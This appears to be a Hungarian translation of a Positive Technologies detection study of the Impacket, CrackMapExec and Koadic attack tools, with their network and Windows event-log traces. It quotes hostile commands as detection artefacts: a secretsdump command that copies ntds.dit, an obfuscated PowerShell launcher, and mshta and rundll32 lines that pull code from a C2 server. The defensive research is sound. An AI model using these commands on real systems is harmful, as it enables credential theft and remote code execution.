A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása

Évről évre nő a támadások száma a vállalati szektorban: pl 2017-ben 13%-kal több egyedi incidenst regisztráltak mint 2016-ban, és 2018 végén - 27%-kal több incidensmint az előző időszakban. Beleértve azokat is, ahol a fő munkaeszköz a Windows operációs rendszer. 2017-2018 között az APT Dragonfly, APT28, APT MuddyWater támadásokat hajtott végre kormány és katonai szervezetek ellen Európában, Észak-Amerikában és Szaúd-Arábiában. És ehhez három eszközt használtunk - Impacket, CrackMapExec и Koadic. Forráskódjuk nyílt és elérhető a GitHubon.

Érdemes megjegyezni, hogy ezeket az eszközöket nem a kezdeti behatolásra használják, hanem az infrastruktúrán belüli támadások kifejlesztésére. A támadók a támadás különböző szakaszaiban használják őket a kerület behatolása után. Ez egyébként nehezen és sokszor csak a technológia segítségével észlelhető a hálózati forgalom kompromisszumnyomainak azonosítása vagy olyan eszközöket, amelyek lehetővé teszik észleli a támadó aktív tevékenységét, miután behatolt az infrastruktúrába. Az eszközök számos funkciót biztosítanak, a fájlok átvitelétől a beállításjegyzékkel való interakcióig és a parancsok végrehajtásáig egy távoli gépen. Ezekről az eszközökről tanulmányt készítettünk, hogy meghatározzuk a hálózati tevékenységüket.

Amit tennünk kellett:

  • Ismerje meg a hackereszközök működését. Tudja meg, mit kell kihasználniuk a támadóknak, és milyen technológiákat használhatnak.
  • Keresse meg, mit nem észlelnek az információbiztonsági eszközök a támadás első szakaszában. A felderítési szakasz kimaradhat, vagy azért, mert a támadó belső támadó, vagy azért, mert a támadó az infrastruktúrában egy korábban nem ismert lyukat használ ki. Lehetővé válik cselekvéseinek teljes láncolatának helyreállítása, ezért a további mozgás észlelésének vágya.
  • Távolítsa el a hamis pozitív eredményeket a behatolásjelző eszközökből. Nem szabad megfeledkeznünk arról, hogy ha bizonyos tevékenységeket pusztán a felderítés alapján észlelünk, akkor gyakori hibák lehetségesek. Általában az infrastruktúrában elegendő számú, első pillantásra megkülönböztethetetlen mód létezik bármilyen információ megszerzésére.

Mit adnak ezek az eszközök a támadóknak? Ha ez az Impacket, akkor a támadók egy nagy modulkönyvtárat kapnak, amelyet a támadás különböző szakaszaiban használhatnak fel, amelyek a határ áttörése után következnek. Sok eszköz belsőleg használ Impacket modulokat – például a Metasploit. Van benne dcomexec és wmiexec a távoli parancsvégrehajtáshoz, a secretsdump pedig az Impacketből hozzáadott fiókok memóriából való lekéréséhez. Ennek eredményeként egy ilyen könyvtár aktivitásának helyes kimutatása biztosítja a származékok kimutatását.

Nem véletlen, hogy a készítők a CrackMapExecről (vagy egyszerűen CME-ről) a „Powered by Impacket”-et írták. Ezenkívül a CME kész funkciókkal rendelkezik a népszerű forgatókönyvekhez: a Mimikatz jelszavak vagy azok kivonatainak beszerzéséhez, a Meterpreter vagy az Empire ügynök megvalósítása a távoli végrehajtáshoz, valamint a Bloodhound a fedélzeten.

A harmadik eszköz, amelyet választottunk, a Koadic volt. Egészen új keletű, 25-ben a DEFCON 2017 nemzetközi hackerkonferencián mutatták be, és nem szabványos megközelítése jellemzi: HTTP-n, Java Scripten és Microsoft Visual Basic Scripten (VBS) keresztül működik. Ezt a megközelítést a földről való életnek nevezik: az eszköz a Windowsba beépített függőségek és könyvtárak halmazát használja. Az alkotók COM Command & Controlnak vagy C3-nak hívják.

IMPACKET

Az Impacket funkcionalitása nagyon széles, az AD-n belüli felderítéstől és a belső MS SQL szerverekről történő adatgyűjtéstől a hitelesítő adatok megszerzésének technikáiig terjed: ez egy SMB közvetítő támadás, és a felhasználói jelszavak kivonatait tartalmazó ntds.dit fájl beszerzése egy tartományvezérlőtől. Az Impacket négy különböző módszerrel távolról is végrehajtja a parancsokat: WMI, Windows Scheduler Management Service, DCOM és SMB, és ehhez hitelesítő adatokra van szükség.

Secrets dump

Vessünk egy pillantást a Secretsdump-ra. Ez egy olyan modul, amely mind a felhasználói gépeket, mind a tartományvezérlőket megcélozza. Használható az LSA, SAM, SECURITY, NTDS.dit memóriaterületek másolatainak beszerzésére, így a támadás különböző szakaszaiban látható. A modul működésének első lépése az SMB-n keresztüli hitelesítés, amelyhez vagy a felhasználó jelszavára, vagy annak hash-ére van szükség a Pass the Hash támadás automatikus végrehajtásához. Ezután jön egy kérés, hogy nyissa meg a hozzáférést a Service Control Managerhez (SCM), és hozzáférjen a registry-hez a winreg protokollon keresztül, amellyel a támadó megtudhatja az érdekelt ágak adatait, és SMB-n keresztül eredményeket kaphat.

ábrán. Az 1. ábrán láthatjuk, hogy a winreg protokoll használatakor hogyan érhető el a hozzáférés egy LSA-val rendelkező rendszerleíró kulcs használatával. Ehhez használja a DCERPC parancsot 15-ös műveleti kóddal - OpenKey.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 1. Nyissa meg a rendszerleíró kulcsot a winreg protokoll használatával

Ezután, amikor elérjük a kulcsot, az értékek mentésre kerülnek a SaveKey paranccsal 20-as műveleti kóddal. Az Impacket ezt egy nagyon specifikus módon teszi. Az értékeket egy fájlba menti, amelynek neve egy 8 véletlenszerű karakterből álló karakterlánc, amelyhez .tmp fűződik. Ezenkívül a fájl további feltöltése SMB-n keresztül történik a System32 könyvtárból (2. ábra).

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 2. Rendszerleíróadatbázis-kulcs távoli gépről történő beszerzésének sémája

Kiderült, hogy az ilyen tevékenység a hálózaton észlelhető a winreg protokollt használó, bizonyos nyilvántartási ágak lekérdezéseivel, konkrét nevekkel, parancsokkal és azok sorrendjével.

Ez a modul a Windows eseménynaplójában is nyomokat hagy, így könnyen észlelhető. Például a parancs végrehajtásának eredményeként

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

A Windows Server 2016 naplójában a következő kulcsfontosságú eseménysorozatot fogjuk látni:

1. 4624 - távoli bejelentkezés.
2. 5145 - a winreg távoli szolgáltatáshoz való hozzáférési jogok ellenőrzése.
3. 5145 - a fájlok hozzáférési jogainak ellenőrzése a System32 könyvtárban. A fájl a fent említett véletlenszerű névvel rendelkezik.
4. 4688 - cmd.exe folyamat létrehozása, amely elindítja a vssadmin-t:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - folyamat létrehozása a következő paranccsal:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - folyamat létrehozása a következő paranccsal:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - folyamat létrehozása a következő paranccsal:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Mint sok utólagos kihasználási eszköz, az Impacket is rendelkezik modulokkal a parancsok távoli végrehajtásához. Az smbexec-re összpontosítunk, amely interaktív parancshéjat biztosít egy távoli gépen. Ez a modul SMB-n keresztüli hitelesítést is igényel, akár jelszóval, akár jelszókivonattal. ábrán. A 3. ábrán egy ilyen eszköz működésére látunk példát, jelen esetben ez a helyi rendszergazdai konzol.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 3. Interaktív smbexec konzol

Az smbexec első lépése a hitelesítés után az SCM megnyitása az OpenSCManagerW paranccsal (15). A lekérdezés figyelemre méltó: a MachineName mező DUMMY.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 4. Kérje a Service Control Manager megnyitását

Ezután a szolgáltatás létrehozása a CreateServiceW paranccsal (12) történik. Az smbexec esetében minden alkalommal ugyanazt a parancsszerkesztési logikát láthatjuk. ábrán. Az 5 zöld a megváltoztathatatlan parancsparamétereket, a sárga pedig azt, hogy mit változtathat a támadó. Könnyen belátható, hogy a futtatható fájl neve, a könyvtára és a kimeneti fájl megváltoztatható, de a többit sokkal nehezebb megváltoztatni az Impacket modul logikájának megzavarása nélkül.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 5. Kérje szolgáltatás létrehozását a Service Control Manager segítségével

Az Smbexec nyilvánvaló nyomokat hagy a Windows eseménynaplójában is. Az ipconfig paranccsal rendelkező interaktív parancshéj Windows Server 2016 naplójában a következő kulcsfontosságú eseménysorozatot fogjuk látni:

1. 4697 – a szolgáltatás telepítése az áldozat gépére:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - a cmd.exe folyamat létrehozása az 1. pont argumentumaival.
3. 5145 - a C$ könyvtár __output fájljához való hozzáférési jogok ellenőrzése.
4. 4697 — a szolgáltatás telepítése az áldozat gépére.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - a cmd.exe folyamat létrehozása az 4. pont argumentumaival.
6. 5145 - a C$ könyvtár __output fájljához való hozzáférési jogok ellenőrzése.

Az Impacet a támadóeszközök fejlesztésének alapja. Támogatja a Windows infrastruktúra szinte összes protokollját, ugyanakkor saját jellemzői vannak. Itt vannak konkrét winreg kérések, valamint az SCM API használata jellegzetes parancsképzéssel, valamint a fájlnév-formátum és a SYSTEM32 SMB-megosztás.

CRACKMAPEXEC

A CME-eszköz elsősorban azon rutinműveletek automatizálására szolgál, amelyeket a támadónak végre kell hajtania a hálózaton belüli továbblépéshez. Lehetővé teszi, hogy együtt dolgozzon a jól ismert Empire ügynökkel és a Meterpreterrel. A parancsok rejtett végrehajtásához a CME elhomályosíthatja azokat. A Bloodhound (egy külön felderítő eszköz) segítségével a támadó automatizálhatja az aktív domain rendszergazdai munkamenetek keresését.

Véreb

A Bloodhound, mint önálló eszköz, lehetővé teszi a fejlett felderítést a hálózaton belül. Adatokat gyűjt a felhasználókról, gépekről, csoportokról, munkamenetekről, és PowerShell-szkriptként vagy bináris fájlként szolgáltatja. Az információgyűjtésre LDAP vagy SMB alapú protokollokat használnak. A CME integrációs modul lehetővé teszi a Bloodhound letöltését az áldozat gépére, futtatását és az összegyűjtött adatok fogadását a végrehajtás után, ezáltal automatizálva a rendszerben végzett műveleteket, és kevésbé észrevehetővé téve azokat. A Bloodhound grafikus shell az összegyűjtött adatokat grafikonok formájában jeleníti meg, amely lehetővé teszi, hogy megtalálja a legrövidebb utat a támadó gépétől a tartományadminisztrátorig.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 6. Bloodhound interfész

Az áldozat gépén való futtatáshoz a modul létrehoz egy feladatot az ATSVC és az SMB használatával. Az ATSVC egy interfész a Windows Feladatütemezővel való munkavégzéshez. A CME a NetrJobAdd(1) függvényét használja feladatok létrehozásához a hálózaton keresztül. Az ábrán látható egy példa arra, hogy mit küld a CME modul. 7: Ez egy cmd.exe parancshívás, és XML formátumú argumentumok formájában megjelenő obfuszkált kód.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
7. ábra. Feladat létrehozása CME-n keresztül

A feladat végrehajtásra adása után az áldozat gépe maga indítja el a Bloodhoundot, és ez meg is látszik a forgalomban. A modult LDAP-lekérdezések jellemzik, amelyek szabványos csoportokat, a tartomány összes gépének és felhasználójának listáját, valamint az SRVSVC NetSessEnum kérésén keresztül az aktív felhasználói munkamenetekről szóló információkat kapnak.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 8. Az aktív munkamenetek listájának beszerzése SMB-n keresztül

Ezen túlmenően a Bloodhound elindítása egy áldozat gépén, ha az auditálás engedélyezett, egy 4688-as azonosítójú eseményt (folyamat létrehozása) és a folyamat nevét kíséri. «C:WindowsSystem32cmd.exe». A figyelemre méltóak a parancssori argumentumok:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Az enum_avproducts modul funkcionalitás és megvalósítás szempontjából nagyon érdekes. A WMI lehetővé teszi a WQL lekérdezési nyelv használatát különböző Windows-objektumokból származó adatok lekérésére, amit ez a CME-modul lényegében használ. Lekérdezéseket generál az AntiSpywareProduct és AntiМirusProduct osztályokhoz az áldozat gépére telepített védelmi eszközökről. A szükséges adatok beszerzése érdekében a modul csatlakozik a rootSecurityCenter2 névtérhez, majd WQL lekérdezést generál és választ kap. ábrán. A 9. ábra az ilyen kérések és válaszok tartalmát mutatja. Példánkban a Windows Defender található.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 9. Az enum_avproducts modul hálózati tevékenysége

Gyakran előfordulhat, hogy a WMI auditálás (Trace WMI-Activity), amelynek eseményeiben hasznos információkat talál a WQL-lekérdezésekről, le van tiltva. De ha engedélyezve van, akkor az enum_avproducts szkript futtatása esetén egy 11-es azonosítójú esemény kerül mentésre, amely tartalmazza a kérést küldő felhasználó nevét és a rootSecurityCenter2 névtérben található nevet.

Mindegyik CME-modulnak megvoltak a saját melléktermékei, legyen szó specifikus WQL-lekérdezésekről, vagy egy bizonyos típusú feladat létrehozásáról egy feladatütemezőben, az LDAP-ban és az SMB-ben obfuszkációval és Bloodhound-specifikus tevékenységgel.

KOADIC

A Koadic megkülönböztető jellemzője a Windowsba épített JavaScript és VBScript értelmezők használata. Ebben az értelemben követi a földből élő trendet – vagyis nincs külső függősége, és szabványos Windows-eszközöket használ. Ez a teljes Command & Control (CnC) eszköz, mivel fertőzés után egy „implantátum” kerül a gépre, amely lehetővé teszi annak vezérlését. Egy ilyen gépet a Koadic terminológiában „zombinak” neveznek. Ha nem állnak rendelkezésre elegendő jogosultságok a teljes működéshez az áldozat oldalán, a Koadic képes felemelni őket a felhasználói fiókok felügyeletének kikerülési (UAC bypass) technikáival.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 10. Koadic Shell

Az áldozatnak kommunikációt kell kezdeményeznie a Command & Control szerverrel. Ehhez kapcsolatba kell lépnie egy korábban elkészített URI-val, és meg kell kapnia a fő Koadic törzset az egyik színpadi egység segítségével. ábrán. A 11. ábra példát mutat az mshta stagerre.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 11. Munkamenet inicializálása a CnC szerverrel

A WS válaszváltozó alapján egyértelművé válik, hogy a végrehajtás a WScript.Shell-en keresztül történik, és a STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE változók kulcsfontosságú információkat tartalmaznak az aktuális munkamenet paramétereiről. Ez az első kérés-válasz pár HTTP-kapcsolatban egy CnC-kiszolgálóval. A későbbi kérések közvetlenül kapcsolódnak a hívott modulok (implantátumok) funkcionalitásához. Minden Koadic modul csak aktív CnC-kapcsolattal működik.

Mimikatz

Csakúgy, mint a CME a Bloodhounddal, a Koadic a Mimikatz programmal különálló programként működik, és többféleképpen indíthatja el. Az alábbiakban egy kérés-válasz pár található a Mimikatz implantátum letöltéséhez.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 12. Vigye át Mimikatzot a Koadichoz

Láthatja, hogyan változott a kérelemben szereplő URI formátum. Most már tartalmazza a csrf változó értékét, amely a kiválasztott modulért felelős. Ne figyelj a nevére; Mindannyian tudjuk, hogy a CSRF-et általában másképp értelmezik. A válasz ugyanaz a Koadic törzse volt, amelyhez a Mimikatzhoz kapcsolódó kódot adták hozzá. Elég nagy, ezért nézzük a legfontosabb pontokat. Itt van a base64-be kódolt Mimikatz könyvtár, egy soros .NET osztály, amely beilleszti, és a Mimikatz indításához szükséges argumentumok. A végrehajtás eredménye tiszta szövegben kerül továbbításra a hálózaton.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 13. A Mimikatz távoli gépen való futtatásának eredménye

Exec_cmd

A Koadic rendelkezik olyan modulokkal is, amelyek távolról is képesek parancsokat végrehajtani. Itt ugyanazt az URI generálási módszert és az ismerős sid és csrf változókat fogjuk látni. Az exec_cmd modul esetén a törzshöz olyan kód kerül hozzáadásra, amely képes shell-parancsok végrehajtására. Az alábbiakban a CnC szerver HTTP-válaszában szereplő kód látható.

A Windows infrastruktúrája elleni támadások észlelése: hackereszközök tanulmányozása
Rizs. 14. Implantációs kód exec_cmd

A kódvégrehajtáshoz szükséges a GAWTUUGCFI változó az ismert WS attribútummal. Segítségével az implantátum meghívja a shell-t, és a kód két ágát dolgozza fel - a shell.exec-et a kimeneti adatfolyam visszaadásával és a shell.run-t visszaadás nélkül.

A Koadic nem egy tipikus eszköz, de megvannak a maga műtermékei, amelyek alapján a legális forgalomban megtalálható:

  • HTTP kérések speciális kialakítása,
  • winHttpRequests API használatával,
  • WScript.Shell objektum létrehozása ActiveXObject segítségével,
  • nagy végrehajtható test.

A kezdeti kapcsolódást a stager kezdeményezi, így lehetséges a tevékenységének észlelése a Windows eseményeken keresztül. Az mshta esetében ez a 4688 esemény, amely egy folyamat létrehozását jelzi a start attribútummal:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Amíg a Koadic fut, további 4688 eseményt láthat, olyan attribútumokkal, amelyek tökéletesen jellemzik:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Álláspontja

A bûnözõk körében egyre népszerûbb a földbõl élõ trend. Igényeiknek megfelelően használják a Windowsba épített eszközöket és mechanizmusokat. Azt látjuk, hogy az ezt az elvet követő népszerű Koadic, CrackMapExec és Impacket eszközök egyre gyakrabban jelennek meg az APT jelentéseiben. A GitHubon ezekhez az eszközökhöz való forkok száma is növekszik, és újabbak jelennek meg (már körülbelül ezer darab van belőlük). A trend az egyszerűségéből adódóan egyre népszerűbb: a támadóknak nincs szükségük harmadik féltől származó eszközökre, már az áldozatok gépein vannak, és segítik őket a biztonsági intézkedések megkerülésében. A hálózati kommunikáció tanulmányozására fókuszálunk: minden fent leírt eszköz nyomot hagy a hálózati forgalomban; részletes tanulmányozásuk lehetővé tette számunkra, hogy megtanítsuk termékünket PT hálózati támadások felfedezése felderíteni őket, ami végső soron segít kivizsgálni az őket érintő kiberincidensek teljes láncolatát.

Szerzők:

  • Anton Tyurin, a PT Expert Security Center, Positive Technologies szakértői szolgáltatási osztályának vezetője
  • Egor Podmokov, szakértő, PT Expert Security Center, Positive Technologies

Forrás: will.com

Hozzászólás